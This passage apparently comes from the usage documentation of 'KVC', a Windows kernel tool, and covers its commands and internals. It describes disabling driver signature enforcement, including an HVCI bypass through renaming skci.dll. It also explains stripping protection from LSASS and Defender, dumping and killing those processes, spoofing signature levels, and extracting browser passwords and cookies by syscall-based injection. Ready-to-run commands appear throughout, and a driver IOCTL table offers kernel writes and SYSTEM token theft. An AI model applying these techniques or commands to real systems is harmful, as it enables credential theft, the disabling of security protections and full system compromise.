      * `DSEBypass Logic` implements DSE control, including the HVCI bypass mechanism involving `skci.dll` manipulation.
      * Protection manipulation logic within the `Controller` uses the driver to modify `EPROCESS.Protection` fields.
      * Memory dumping uses elevated privileges (matching target protection if necessary) and `MiniDumpWriteDump`.
      * `SessionManager` tracks protection changes across reboots via the registry.
7.  **Credential Extraction:**
      * For Edge (DPAPI method) and WiFi, KVC uses the TrustedInstaller context to access necessary system secrets and files.
      * For Chrome/Brave/Edge (full extraction), `kvc.exe` launches `kvc_pass.exe`, which implements a sophisticated multi-stage injection and COM elevation attack:
        - **Process Management**: Terminates only the browser's network-service subprocess (which holds database file locks), not the browser itself. The browser continues running normally and reconnects automatically. For Edge, a second network-service kill is issued right before the DLL opens the database, compensating for Edge's faster service-restart speed relative to Chrome.
        - **Direct Syscall Implementation**: Bypasses user-mode API hooks by dynamically resolving syscall numbers (SSNs) through sorting NTDLL's Zw* exports by address and locating syscall gadgets (0x0F05/0xC3). An assembly trampoline (`AbiTramp.asm`) marshals arguments from Windows x64 to syscall convention, enabling hook-resistant process manipulation.
        - **PE Injection**: `kvc_crypt.dll` is injected using `NtAllocateVirtualMemory`/`NtWriteVirtualMemory` syscalls. The DLL employs a position-independent reflective loader (`SelfLoader.cpp`) that manually resolves APIs by walking the PEB, hashing export names, and processing base relocations without Windows loader involvement.
        - **COM Elevation**: Once loaded, `kvc_crypt.dll` uses the browser's built-in COM elevation service to decrypt the App-Bound Encrypted (APPB) master key. For Chrome/Brave, it instantiates `IOriginalBaseElevator`; for Edge, it uses `IEdgeElevatorFinal` (CLSID `{1FCBE96C-1697-43AF-9140-2897C7C69767}`, IID `{C9C2B807-7731-4F34-81B7-44FF7779522B}`). These COM objects expose a `DecryptData` method that performs the actual decryption using the browser's own elevation privileges. If COM elevation fails for Edge, the orchestrator passes a pre-extracted DPAPI key via the named pipe as a fallback.
        - **Data Extraction**: Using the decrypted master key, `kvc_crypt.dll` opens browser SQLite databases with the `nolock` flag, decrypts AES-GCM encrypted values (`v10`/`v20` schemes), and exports cookies, passwords, and payment data to JSON files via named pipe communication.
8.  **Cleanup:** After each operation (or on exit/Ctrl+C), the `Controller` performs an atomic cleanup, unloading the driver, removing the temporary service entry, and deleting temporary files to minimize forensic traces.

-----
## 4\. Basic Usage

Interact with KVC using `kvc.exe` from an **elevated command prompt (cmd or PowerShell Run as Administrator)**.

### Getting Help

To view all available commands and options, use any of the following:

```powershell
kvc.exe help
kvc.exe /?
kvc.exe -h
```

If a command is entered incorrectly, KVC will also display an error message and suggest using the help command .

### General Syntax

```powershell
kvc.exe <command> [subcommand] [arguments...] [options...]
```

  * `<command>`: The main action to perform (e.g., `dse`, `dump`, `unprotect`).
  * `[subcommand]`: An optional secondary action (e.g., `dse off`, `service start`).
  * `[arguments...]`: Required or optional values for the command (e.g., PID, process name, protection level).
  * `[options...]`: Optional flags modifying behavior (e.g., `--output C:\path`).

-----

## 5\. Driver Signature Enforcement (DSE) Control

DSE is a Windows security feature that prevents loading drivers not signed by Microsoft. While crucial for security, it hinders legitimate kernel research and driver development. KVC provides a mechanism to temporarily disable DSE at runtime, even on highly secured systems.

### Understanding DSE and HVCI/VBS

  * **DSE:** Controlled by flags within the `g_CiOptions` variable in the `ci.dll` kernel module. A value of `0x6` typically indicates standard DSE enabled. Setting it to `0x0` disables the check.
  * **HVCI/VBS (Hypervisor-Protected Code Integrity / Virtualization-Based Security):** On modern systems, HVCI uses virtualization to protect kernel memory, including `g_CiOptions`, from modification, even by code running in Ring-0. Active HVCI is indicated by any bit in the mask `0x0001C000` being set in `g_CiOptions` (e.g., `0x0001C006`), or confirmed via the `SecurityServicesRunning` registry value when the bit state is not yet reflected in kernel memory.
  * **`g_CiOptions` location:** The address of `g_CiOptions` varies by Windows build and is not exported. KVC locates it at runtime using `CiOptionsFinder`, a fully offline semantic analyser. No PDB download, no network access, no hardcoded offsets or byte patterns. The analyser scans the on-disk `ci.dll` image for RIP-relative instruction references to the variable — specifically `test`/`bt`/`bts`/`mov` encodings — scores candidates by instruction kind, flag-mask content, and bit-operation count, and selects the winner deterministically. Two strategies are used depending on the Windows version detected at runtime:

    | Platform | Strategy |
    |---|---|
    | Windows 11 (all builds including 26H1) | Scan code sections for references into the `CiPolicy` PE section; score by kind and mask |
    | Windows 10 (no `CiPolicy` section) | Scan code sections for references into `.data`; qualify by `bts` count and low-bit evidence |

    A build-number fallback (`+0x4` pre-26H1, `+0x8` from build 26100) is used only when the probe is inconclusive.

KVC supports DSE control in **all scenarios**:

  * ✅ **Standard Systems** (`g_CiOptions = 0x6`): Direct memory patch via the driver.
  * ✅ **Windows 10 (all builds, including latest updates)**: `g_CiOptions` located via `.data` semantic probe — no PDB, no network.
  * ✅ **Windows 11 up to 25H2**: `g_CiOptions` located via `CiPolicy` section probe.
  * ✅ **Windows 11 26H1 (build 26100+)**: Offset within `CiPolicy` changed from `+0x4` to `+0x8`. Handled automatically by the semantic probe; build-number fallback also updated.
  * ✅ **HVCI/VBS Enabled Systems** (`g_CiOptions = 0x0001C006` or similar): Requires a sophisticated bypass involving a reboot.

### How KVC Bypasses DSE

#### Standard System (`g_CiOptions = 0x6`)

```mermaid
sequenceDiagram
    participant User
    participant KVC_EXE as kvc.exe
    participant KVC_SYS as kvc.sys (Kernel)
    participant CI_DLL as ci.dll (Kernel Memory)

    User->>KVC_EXE: kvc dse off
    KVC_EXE->>KVC_EXE: Load Driver (kvc.sys)
    KVC_EXE->>KVC_SYS: Find g_CiOptions address
    KVC_SYS-->>CI_DLL: Locate g_CiOptions
    CI_DLL-->>KVC_SYS: Return Address
    KVC_SYS-->>KVC_EXE: Return Address
    KVC_EXE->>KVC_SYS: Read DWORD at Address
    KVC_SYS-->>CI_DLL: Read Value (e.g., 0x6)
    CI_DLL-->>KVC_SYS: Return Value
    KVC_SYS-->>KVC_EXE: Return Value (0x6)
    KVC_EXE->>KVC_EXE: Verify Value is 0x6
    KVC_EXE->>KVC_SYS: Write DWORD 0x0 at Address
    KVC_SYS-->>CI_DLL: Modify g_CiOptions = 0x0
    KVC_SYS-->>KVC_EXE: Confirm Write
    KVC_EXE->>KVC_EXE: Unload Driver
    KVC_EXE-->>User: Success! DSE is OFF (No reboot needed)
```

**Explanation:** KVC loads its driver, locates `g_CiOptions` , reads the current value , verifies it's the expected standard DSE value (`0x6`) , and directly patches it to `0x0` using a kernel memory write operation. The driver is then unloaded. No reboot is required.

#### HVCI/VBS Enabled System (`g_CiOptions = 0x0001C006`)

This requires bypassing the hypervisor's memory protection. KVC uses a clever technique involving the Secure Kernel Client (`skci.dll`) library:

```mermaid
sequenceDiagram
    participant User
    participant KVC_EXE as kvc.exe
    participant TI as TrustedInstaller Integrator
    participant OS as Windows OS
    participant REG as Registry
    participant FS as File System (System32)
    participant HVCI as Hypervisor Protection

    User->>KVC_EXE: kvc dse off
    KVC_EXE->>KVC_EXE: Load Driver, Check g_CiOptions
    Note over KVC_EXE: Detects HVCI (0x0001C006) 
    KVC_EXE-->>User: HVCI detected, bypass needed. Reboot? [Y/N] 
    User->>KVC_EXE: Y
    KVC_EXE->>KVC_EXE: Unload Driver 
    KVC_EXE->>TI: Rename skci.dll -> skci<U+200B>.dll 
    TI->>FS: Rename file (Elevated)
    KVC_EXE->>REG: Save Original g_CiOptions value 
    KVC_EXE->>REG: Set RunOnce: kvc.exe dse off 
    KVC_EXE->>OS: Initiate Reboot 

    rect rgb(230, 230, 255)
    Note over OS: System Restarts...
    OS-->>HVCI: Fails to load skci.dll (renamed)
    Note over HVCI: HVCI Protection NOT Activated for this boot
    OS->>REG: Execute RunOnce command: kvc.exe dse off
    end

    KVC_EXE->>KVC_EXE: RunOnce executes 'kvc dse off'
    KVC_EXE->>TI: Restore skci<U+200B>.dll -> skci.dll 
    TI->>FS: Rename file back (Elevated)
    KVC_EXE->>KVC_EXE: Load Driver
    KVC_EXE->>KVC_EXE: Patch g_CiOptions -> 0x0 (Now possible!) 
    KVC_EXE->>REG: Clear saved state 
    KVC_EXE->>KVC_EXE: Unload Driver
    Note over KVC_EXE: DSE is OFF for this boot session only
```

**Explanation:**

1.  KVC detects the HVCI state (`0x0001C006`).
2.  It prompts the user for a required reboot.
3.  If confirmed, KVC uses its `TrustedInstallerIntegrator` to rename `C:\Windows\System32\skci.dll` to `skci<U+200B>.dll` (using a Zero Width Space character U+200B). This prevents the Secure Kernel from loading on the next boot, thus disabling HVCI memory protection for *that specific boot session*.
4.  KVC saves the original `g_CiOptions` value and sets up a `RunOnce` registry key to automatically execute `kvc.exe dse off` after the reboot.
5.  The system is rebooted.
6.  Upon reboot, HVCI fails to initialize because `skci.dll` isn't found. Kernel memory is now writable.
7.  The `RunOnce` command executes `kvc dse off`.
8.  This instance of KVC restores the original `skci.dll` name , loads the driver, patches `g_CiOptions` to `0x0` (now possible without HVCI protection) , cleans the registry state, and unloads the driver.
9.  DSE remains disabled *only* for the current boot session. HVCI protection will be fully restored upon the *next* reboot because `skci.dll` is back in place. No system files are permanently modified.

### DSE Commands

  * **Check DSE Status:**

    ```powershell
    kvc.exe dse
    ```

    Displays the kernel address and current hexadecimal value of `g_CiOptions`, along with an interpretation (Enabled/Disabled, HVCI status) .

  * **Disable DSE (Standard):**

    ```powershell
    kvc.exe dse off
    ```

    Disables DSE. On standard systems (`g_CiOptions = 0x6`), immediate — direct kernel write. On HVCI systems, triggers the `skci.dll` rename bypass and initiates a reboot. After reboot, RunOnce completes the patch and restores `skci.dll`.

  * **Disable DSE (Next-Gen / Safe):**

    ```powershell
    kvc.exe dse off --safe
    ```

    PDB-based `SeCiCallbacks` patching. Resolves `SeCiCallbacks` and `ZwFlushInstructionCache` offsets from `ntoskrnl.exe` PDB via `SymbolEngine`, then redirects the CI validation callback to `ZwFlushInstructionCache` — a no-op from CI's perspective. **Preserves VBS/HVCI** — no reboot required, no `skci.dll` rename. PDB cached in `C:\ProgramData\dbg\sym\`. Original callback saved to registry by `SessionManager`. Recommended on systems with Memory Integrity off.

  * **Enable DSE (Standard):**

    ```powershell
    kvc.exe dse on
    ```

    Restores `g_CiOptions` to `0x6` in kernel memory. Does not affect the HVCI bypass state; HVCI re-enables on the next reboot regardless.

  * **Enable DSE (Next-Gen / Safe):**

    ```powershell
    kvc.exe dse on --safe
    ```

    Reads the original `SeCiCallbacks` pointer saved by `dse off --safe` from the registry via `SessionManager` and writes it back into kernel memory. No reboot required.

**Important Notes:**

  * DSE manipulation requires Administrator privileges.
  * The HVCI bypass is temporary and lasts only for one boot cycle.
  * Modifying kernel memory carries inherent risks, including potential system instability (BSOD) if interrupted or if unexpected system states are encountered. Proceed with caution.

-----

## 6\. Process Protection (PP/PPL) Manipulation

Modern Windows protects critical processes using Protected Process Light (PPL) and Protected Process (PP) mechanisms. These prevent unauthorized access, such as memory reading or termination, even by administrators. KVC overcomes these limitations by operating at the kernel level.

## Understanding PP/PPL
Process protection is defined by the `_PS_PROTECTION` structure within the kernel's `EPROCESS` object for each process. It consists of:
* Type: Specifies the protection level (`None`, `ProtectedLight` (PPL), or `Protected` (PP)).
* Signer: Specifies the required signature type for code allowed to interact with the process (e.g., `Antimalware`, `Lsa`, `Windows`, `WinTcb`).

```
EPROCESS Structure (Conceptual)
+---------------------------+
| ...                       |
| UniqueProcessId (PID)     |
| ActiveProcessLinks        |
| ...                       |
| Protection                |
|   (PS_PROTECTION)         |
|   --> Type (3 bits)       |
|   --> Audit (1 bit)       |
|   --> Signer (4 bits)     |
| ...                       |
| SignatureLevel            |
| SectionSignatureLevel     |
| ...                       |
+---------------------------+
```

Standard user-mode tools lack the privilege to even read the memory of highly protected processes (like `lsass.exe` which is often `PPL-WinTcb`).

## How KVC Manipulates Protection
KVC leverages its kernel driver (`kvc.sys`) to directly modify the `Protection` byte within the target process's `EPROCESS` structure in kernel memory.

```mermaid
graph TD
    A[kvc.exe requests protection change for PID X] --> B{Controller};
    B --> C[OffsetFinder: Locate EPROCESS.Protection offset];
    B --> D[kvcDrv: Get EPROCESS address for PID X];
    D --> E[Kernel Memory];
    C --> B;
    D --> B;
    B --> F[kvcDrv: Read current Protection byte at Address + Offset];
    F --> E;
    E --> F;
    F --> B;
    B --> G{Calculate New Protection Byte};
    G --> H[kvcDrv: Write New Protection Byte at Address + Offset];
    H --> E;
    E --> H;
    H --> B;
    B --> I[Success/Failure];
    I --> A;
```

### Key Steps:

1.  `kvc.exe` receives the command (e.g., `unprotect lsass`).
2.  The `Controller` uses `OffsetFinder` to get the dynamic offset of the `Protection` field within the `EPROCESS` structure .
3.  The `Controller` uses the kernel driver (`kvcDrv`/`kvc.sys`) to find the kernel memory address (`EPROCESS` address) of the target process (e.g., `lsass.exe`) .
4.  The driver reads the current `Protection` byte at `EPROCESS Address + Protection Offset`.
5.  The `Controller` calculates the desired new protection byte (e.g., `0x0` for unprotect).
6.  The driver writes the new protection byte directly into kernel memory at `EPROCESS Address + Protection Offset`.

### Protection Levels and Signer Types

  * **Levels (`PS_PROTECTED_TYPE`)**:
      * `None` (0): No protection.
      * `ProtectedLight` (1): PPL - Common for services like LSASS, CSRSS.
      * `Protected` (2): PP - Highest level, rarer, used for critical media components.
  * **Signers (`PS_PROTECTED_SIGNER`)**: Define *who* can interact with the protected process.
      * `None` (0) 
      * `Authenticode` (1): Standard code signing.
      * `CodeGen` (2): .NET code generation.
      * `Antimalware` (3): AV vendors (e.g., MsMpEng.exe).
      * `Lsa` (4): Local Security Authority.
      * `Windows` (5): Standard Windows components.
      * `WinTcb` (6): Trusted Computing Base (e.g., lsass.exe).
      * `WinSystem` (7): Core system components.
      * `App` (8): Windows Store apps.

### Session Management System

KVC includes a session management system to track protection changes, especially useful for restoring protection after analysis or across reboots .

  * **Tracking:** When you use `unprotect` (especially `unprotect all` or `unprotect <SIGNER>`), KVC saves the original protection state of the affected processes to the registry under `HKCU\Software\kvc\Sessions\<BootID>\<SignerName>`. Each boot gets a unique session ID based on boot time.
  * **Reboot Detection:** KVC detects system reboots by comparing current vs saved boot times/tick counts .
  * **History Limit:** It keeps a history of the last 16 boot sessions, automatically deleting the oldest ones to prevent excessive registry usage .
  * **Restoration:** The `restore` commands read the saved state from the *current* boot session's registry entries and reapply the original protection levels to processes that still exist . Status is updated in the registry from "UNPROTECTED" to "RESTORED".

### Protection Manipulation Commands

  * **List Protected Processes:**

    ```powershell
    kvc.exe list
    ```

    Shows a color-coded table of all currently running protected processes, including PID, Name, Protection Level, Signer Type, Signature Levels, and Kernel Address . Colors typically indicate the signer type (e.g., Red for LSA, Green for WinTcb).

  * **Get Process Protection Status:**

    ```powershell
    kvc.exe get <PID | process_name>
    kvc.exe info <PID | process_name> # Alias
    ```

    Displays the current protection status (e.g., "PPL-WinTcb") for a specific process identified by PID or name .

  * **Set/Force Protection:**

    ```powershell
    kvc.exe set <PID | process_name | PID1,PID2,...> <PP | PPL> <SIGNER_TYPE>
    ```

    Forces the specified protection level and signer type onto the target process(es), overwriting any existing protection . `SIGNER_TYPE` can be names like `WinTcb`, `Antimalware`, etc. . Supports comma-separated lists for batch operations .

  * **Spoof Process Signatures:**

    ```powershell
    kvc.exe spoof <PID | process_name> <EXE_SIG_HEX> <DLL_SIG_HEX>
    ```

    Surgically modifies the `SignatureLevel` and `SectionSignatureLevel` bytes within the target's `EPROCESS` structure. This allows a process to perfectly camouflage its cryptographic trust level (e.g., spoofing Kernel `1E` and System `1C` levels). Note: Automated spoofing is already applied during `kvc protect` and `kvc set` commands.


  * **Protect Unprotected Process:**

    ```powershell
    kvc.exe protect <PID | process_name | PID1,PID2,...> <PP | PPL> <SIGNER_TYPE>
    ```

    Applies protection *only if* the target process(es) are currently unprotected. Fails if the process is already protected . Supports comma-separated lists .

  * **Unprotect Process:**

    ```powershell
    kvc.exe unprotect <PID | process_name | SIGNER_TYPE | PID1,Name2,... | all>
    ```

    Removes protection (sets Protection byte to 0) from the specified target(s) .

      * `<PID | process_name>`: Unprotects a single process.
      * `<SIGNER_TYPE>`: Unprotects *all* currently running processes matching that signer type (e.g., `kvc unprotect Antimalware`). Saves state for restoration.
      * `<PID1,Name2,...>`: Unprotects multiple specific processes .
      * `all`: Unprotects *all* protected processes currently running. Saves state grouped by signer .

  * **Modify Protection by Signer:**

    ```powershell
    kvc.exe set-signer <CURRENT_SIGNER> <PP | PPL> <NEW_SIGNER>
    ```

    Finds all processes currently protected with `<CURRENT_SIGNER>` and changes their protection to the specified `<PP | PPL>` level and `<NEW_SIGNER>` type .

  * **List Processes by Signer:**

    ```powershell
    kvc.exe list-signer <SIGNER_TYPE>
    ```

    Displays a table similar to `kvc list`, but only includes processes matching the specified `<SIGNER_TYPE>` .

  * **Restore Protection (Session Management):**

    ```powershell
    kvc.exe restore <SIGNER_TYPE | all>
    ```

    Restores the original protection state saved during `unprotect` operations *within the current boot session* .

      * `<SIGNER_TYPE>`: Restores protection for processes belonging to the specified signer group .
      * `all`: Restores protection for all processes tracked in the current session's saved state .

  * **View Session History:**

    ```powershell
    kvc.exe history
    ```

    Displays the saved protection states from the last 16 boot sessions, marking the current one . Shows which processes were unprotected under which signer group and their restoration status ("UNPROTECTED" or "RESTORED").

  * **Cleanup Old Sessions:**

    ```powershell
    kvc.exe cleanup-sessions
    ```

    Deletes all saved session states from the registry *except* for the current boot session .

**Example Workflow:**

```powershell
# See which processes are protected
kvc.exe list

# Unprotect Windows Defender and LSASS for analysis
kvc.exe unprotect Antimalware
kvc.exe unprotect WinTcb

# Perform analysis (e.g., memory dump, instrumentation)
kvc.exe dump MsMpEng.exe C:\dumps
kvc.exe dump lsass.exe C:\dumps
# ... other research actions ...

# Restore original protection using saved session state
kvc.exe restore Antimalware
kvc.exe restore WinTcb
# OR restore everything modified in this session
# kvc.exe restore all

# Verify protection is back
kvc.exe list
```

-----

## 7\. Advanced Memory Dumping

Acquiring memory dumps of protected processes like `lsass.exe` (Local Security Authority Subsystem Service) is critical for credential extraction and forensic analysis but is blocked by PP/PPL on modern Windows. KVC bypasses these restrictions.

### The Challenge with Protected Processes

Standard tools like Task Manager, `procdump.exe`, or Process Explorer operate in user mode and request memory access via standard Windows APIs (e.g., `OpenProcess`, `ReadProcessMemory`). The Kernel Security Reference Monitor denies these requests when targeting a process with a higher protection level (PP/PPL) than the requesting tool (even if running as Administrator).

### KVC's Kernel-Mode Approach

KVC circumvents this by using its kernel driver and, optionally, self-protection elevation:

```mermaid
sequenceDiagram
    participant User
    participant KVC_EXE as kvc.exe
    participant KVC_SYS as kvc.sys (Kernel)
    participant Target_PPL as Target Process (e.g., LSASS)
    participant DbgHelp_DLL as DbgHelp.dll

    User->>KVC_EXE: kvc dump lsass C:\dumps
    KVC_EXE->>KVC_EXE: Load Driver (kvc.sys)
    KVC_EXE->>KVC_SYS: Get LSASS EPROCESS Address & Protection
    KVC_SYS-->>KVC_EXE: Return Addr, Protection (e.g., PPL-WinTcb)
    Note over KVC_EXE: Determines LSASS is PPL-WinTcb 

    %% Optional Self-Protection (Auxiliary)
    % KVC_EXE->>KVC_SYS: Set KVC Protection & Spoof Signatures to PPL-WinTcb 
    % Note over KVC_EXE: Self-protection helps, but direct kernel access is key.

    KVC_EXE->>OS: OpenProcess(LSASS_PID, PROCESS_VM_READ | ...)
    Note over OS: Access potentially granted due to matching protection OR kernel bypass
    OS-->>KVC_EXE: Return hProcess handle for LSASS

    KVC_EXE->>FS: CreateFileW("C:\dumps\lsass.exe_PID.dmp") 
    FS-->>KVC_EXE: Return hFile handle

    KVC_EXE->>DbgHelp_DLL: MiniDumpWriteDump(hProcess, LSASS_PID, hFile, FullMemory) 
    DbgHelp_DLL-->>Target_PPL: Read Memory Regions
    Target_PPL-->>DbgHelp_DLL: Provide Memory Data
    DbgHelp_DLL-->>FS: Write Dump Data to hFile
    FS-->>DbgHelp_DLL: Confirm Write
    DbgHelp_DLL-->>KVC_EXE: Return Success/Failure

    KVC_EXE->>FS: CloseHandle(hFile)
    KVC_EXE->>OS: CloseHandle(hProcess)

    %% Optional Self-Protection Cleanup
    % KVC_EXE->>KVC_SYS: Set KVC Process Protection back to None 

    KVC_EXE->>KVC_EXE: Unload Driver
    KVC_EXE-->>User: Success! Dump created at C:\dumps\lsass...
```

**Explanation:**

1.  KVC identifies the target process (e.g., `lsass.exe`) and its protection level (e.g., `PPL-WinTcb`) using kernel operations .
2.  *(Optional but helpful)* KVC can elevate its *own* process protection level to match the target's level (e.g., to `PPL-WinTcb`) . This helps satisfy some access checks performed by APIs like `OpenProcess`.
3.  KVC calls `OpenProcess` to get a handle to the target process with memory read permissions (`PROCESS_VM_READ`). Even if self-protection isn't used or fails, the kernel-level modifications often bypass standard checks.
4.  KVC creates the output dump file.
5.  KVC calls the `MiniDumpWriteDump` function (from `DbgHelp.dll`), providing the process handle, PID, and file handle. This function handles the complexities of reading process memory (including suspended threads, handle data, etc.) and writing it to the dump file. KVC uses flags for a full memory dump (`MiniDumpWithFullMemory`) to capture maximum data.
6.  Handles are closed, self-protection (if applied) is removed, and the driver is unloaded.

### Undumpable Processes

Certain core system components operate at a level where even kernel-mode dumping is impossible or leads to instability. KVC specifically prevents attempts to dump these:

  * **System (PID 4):** The main kernel process.
  * **Secure System:** The process hosting the Virtual Secure Mode (VSM) / VBS components.
  * **Registry:** The kernel's registry hive manager.
  * **Memory Compression:** The kernel's memory management process.

Attempting to dump these will result in an error message from KVC .

### Memory Dumping Commands

  * **Dump Process:**
    ```powershell
    kvc.exe dump <PID | process_name> [output_path]
    ```
    Creates a full memory dump (`.dmp` file) of the specified process .
      * `<PID | process_name>`: Target process identifier.
      * `[output_path]`: Optional directory to save the dump file. If omitted, the file is saved to the user's `Downloads` folder . The filename will be `processname_PID.dmp`.

**Examples:**

```powershell
# Dump LSASS to the Downloads folder
kvc.exe dump lsass.exe

# Dump process with PID 1234 to C:\temp
kvc.exe dump 1234 C:\temp

# Dump Chrome main process to D:\dumps
kvc.exe dump chrome.exe D:\dumps
```

**Note:** Dumping anti-malware processes (like `MsMpEng.exe`) often requires disabling the anti-malware service first, as they employ aggressive self-protection mechanisms beyond standard PP/PPL. Dumping may hang or fail otherwise.

-----

## 8\. Process Termination (Killing Processes)

Similar to memory dumping, terminating protected processes is restricted by Windows. KVC provides a `kill` command that overcomes these limitations.

### The Challenge with Protected Processes

Standard tools like Task Manager (`taskkill.exe`) use the `TerminateProcess` API. This API call fails with "Access Denied" if the calling process does not have sufficient privileges relative to the target process's protection level (PP/PPL).

### KVC's Elevated Termination

KVC's `kill` command uses a similar strategy to memory dumping:

```mermaid
sequenceDiagram
    participant User
    participant KVC_EXE as kvc.exe
    participant KVC_SYS as kvc.sys (Kernel)
    participant Target_PPL as Target Process (e.g., LSASS)

    User->>KVC_EXE: kvc kill lsass
    KVC_EXE->>KVC_EXE: Load Driver (kvc.sys)
    KVC_EXE->>KVC_SYS: Get LSASS EPROCESS Address & Protection
    KVC_SYS-->>KVC_EXE: Return Addr, Protection (e.g., PPL-WinTcb) 
    Note over KVC_EXE: Determines LSASS is PPL-WinTcb 

    KVC_EXE->>KVC_SYS: Set KVC Protection & Spoof Signatures to PPL-WinTcb 
    Note over KVC_EXE: Elevates self to match target

    KVC_EXE->>OS: OpenProcess(LSASS_PID, PROCESS_TERMINATE) 
    Note over OS: Access granted due to matching protection level
    OS-->>KVC_EXE: Return hProcess handle for LSASS

    KVC_EXE->>OS: TerminateProcess(hProcess, 1) 
    OS-->>Target_PPL: Terminate Execution
    OS-->>KVC_EXE: Return Success/Failure

    KVC_EXE->>OS: CloseHandle(hProcess)

    KVC_EXE->>KVC_SYS: Set KVC Process Protection back to None
    KVC_EXE->>KVC_EXE: Unload Driver
    KVC_EXE-->>User: Success! Process terminated.
```

**Explanation:**

1.  KVC identifies the target process and its protection level .
2.  It elevates its *own* protection level to match the target's (e.g., `PPL-WinTcb`) using the kernel driver.
3.  Now running at an equal or higher protection level, KVC calls `OpenProcess` with `PROCESS_TERMINATE` permission. This typically succeeds due to the elevated protection.
4.  KVC calls `TerminateProcess` using the obtained handle.
5.  KVC restores its own protection level to `None`, closes handles, and unloads the driver.


  ### Protection Flow (Full Camouflage)

  When KVC applies protection, it performs an atomic double-patch to ensure the process passes both kernel-level access checks and user-mode signature verification:

  ```mermaid
  sequenceDiagram
      participant User
      participant KVC_EXE as kvc.exe
      participant KVC_SYS as kvc.sys (Kernel)
      participant EPROC as EPROCESS Structure

      User->>KVC_EXE: kvc protect notepad PPL Antimalware
      KVC_EXE->>KVC_EXE: Load Driver
      KVC_EXE->>KVC_SYS: Apply Protection (0x31) & Spoof Signatures (0x37, 0x07)
      
      KVC_SYS->>EPROC: Write Protection Byte -> 0x31 (PPL-Antimalware)
      KVC_SYS->>EPROC: Write SignatureLevel -> 0x37 (WinSystem)
      KVC_SYS->>EPROC: Write SectionSignatureLevel -> 0x07 (WinSystem)
      
      KVC_SYS-->>KVC_EXE: Confirm Atomic Write
      KVC_EXE->>KVC_EXE: Unload Driver
      KVC_EXE-->>User: Success! Process is now a "Perfect Clone"
  ```


### Process Targeting

The `kill` command supports flexible targeting:

  * **By PID:** `kvc kill 1234`
  * **By Exact Name:** `kvc kill notepad.exe`
  * **By Partial Name (Case-Insensitive):** `kvc kill note` (matches `notepad.exe`), `kvc kill total` (matches `Totalcmd64.exe`). If multiple processes match a partial name, KVC might terminate all or require a more specific name (behavior depends on implementation details not fully shown, but likely uses pattern matching similar to `FindProcessesByName` ).
  * **Comma-Separated List:** `kvc kill 1234,notepad,WmiPrvSE.exe`. KVC parses the list and attempts to terminate each target .

### Process Termination Command

  * **Terminate Process(es):**
    ```powershell
    kvc.exe kill <PID | process_name | PID1,Name2,...>
    ```
    Terminates one or more processes specified by PID, name (exact or partial), or a comma-separated list. Automatically elevates KVC's protection level if necessary to terminate protected targets.

**Examples:**

```powershell
# Terminate process by PID
kvc.exe kill 5678

# Terminate Notepad by name
kvc.exe kill notepad.exe

# Terminate LSASS (protected process)
kvc.exe kill lsass

# Terminate multiple processes
kvc.exe kill 1122,explorer.exe,conhost.exe
```

-----

## 8a\. OmniDriver (kvcstrm.sys) — Kernel Primitive Layer

`kvcstrm.sys` is a purpose-built KMDF kernel driver written from scratch and shipped as an integral part of KVC. It is not derived from any third-party binary, CVE exploit payload, or publicly known vulnerable driver. The driver exposes a structured IOCTL interface that provides direct, ring-0 access to a set of kernel primitives that cannot be replicated from user mode — regardless of privilege level.

### Security model

The device is created with an explicit SDDL descriptor that restricts access to `NT AUTHORITY\SYSTEM` and local Administrators:

```
D:P(A;;GA;;;SY)(A;;GA;;;BA)
```

All requests go through a sequential `METHOD_BUFFERED` queue. Input buffer sizes are validated against per-IOCTL minimums before any kernel operation is attempted. Critical paths use `__try`/`__except` to guarantee CPU state restoration on exception. The kernel allocation subsystem maintains an internal spinlock-guarded tracking list — arbitrary free and double-free of kernel pool are structurally prevented.

### Full IOCTL surface

| IOCTL | Function | Notes |
|---|---|---|
| `IOCTL_READWRITE_DRIVER_READ` | Cross-process virtual memory read | `MmCopyVirtualMemory` with `KernelMode` previous-mode — user-mode address range checks suppressed on the kernel side of the transfer |
| `IOCTL_READWRITE_DRIVER_WRITE` | Cross-process virtual memory write | Same path, direction reversed |
| `IOCTL_READWRITE_DRIVER_BULK` | Batch up to 64 R/W operations | Single IOCTL round-trip; per-operation `Status` field; bulk status reflects first failure |
| `IOCTL_KILL_PROCESS` | Terminate process by PID | `ObOpenObjectByPointer` bypasses object manager access checks; `ZwTerminateProcess` from ring-0 with a kernel handle cannot be intercepted by PPL or user-mode callbacks |
| `IOCTL_KILL_PROCESS_WESMAR` | Legacy single-PID kill path | Raw 4-byte PID input; operation result returned directly as request status (no output structure) |
| `IOCTL_SET_PROTECTION` | Write `EPROCESS.PS_PROTECTION` | Strip or assign any PP/PPL level on any running process; offset validated to range 1–0x2000 |
| `IOCTL_PHYSMEM_READ` | Physical memory read | `MmMapIoSpaceEx`; range validated against `MmGetPhysicalMemoryRanges` before mapping; MMIO and out-of-RAM ranges rejected |
| `IOCTL_PHYSMEM_WRITE` | Physical memory write | Same path, write direction |
| `IOCTL_ALLOC_KERNEL` | Allocate non-paged kernel pool | Optional `NONPAGED_EXECUTE` flag for executable allocations; tracked in driver-side list under spinlock; max 16 MB |
| `IOCTL_FREE_KERNEL` | Release tracked kernel allocation | Address must appear in the driver's allocation list; unrecognised address and double-free return `STATUS_INVALID_PARAMETER` without touching pool |
| `IOCTL_WRITE_PROTECTED` | Write to read-only kernel memory | CR0.WP cleared at `DISPATCH_LEVEL` via `KeRaiseIrqlToDpcLevel()` (blocks scheduler preemption and APCs, hardware interrupts remain active); CPU state restored unconditionally in `__except`; destination validated with `MmIsAddressValid` before entering critical section |
| `IOCTL_ELEVATE_TOKEN` | Replace process primary token with SYSTEM token | Token offset validated to range 1–0x2000 |
| `IOCTL_FORCE_CLOSE_HANDLE` | Close handle in target process handle table | Handle must be open in the target process, not in the calling process; uses `KeStackAttachProcess` to temporarily attach to target address space, then `ZwClose` on the handle value |
| `IOCTL_KILL_BY_NAME` | Terminate all processes matching a name prefix | Prefix match via `_strnicmp` on `EPROCESS.ImageFileName`; reports kill count; `ImageFileName` offset auto-resolved at driver load via `FindImageFileNameOffset()` (fallback: `0x5A8` for Win11 22H2/23H2); `PsGetNextProcess` resolved dynamically via `MmGetSystemRoutineAddress` |
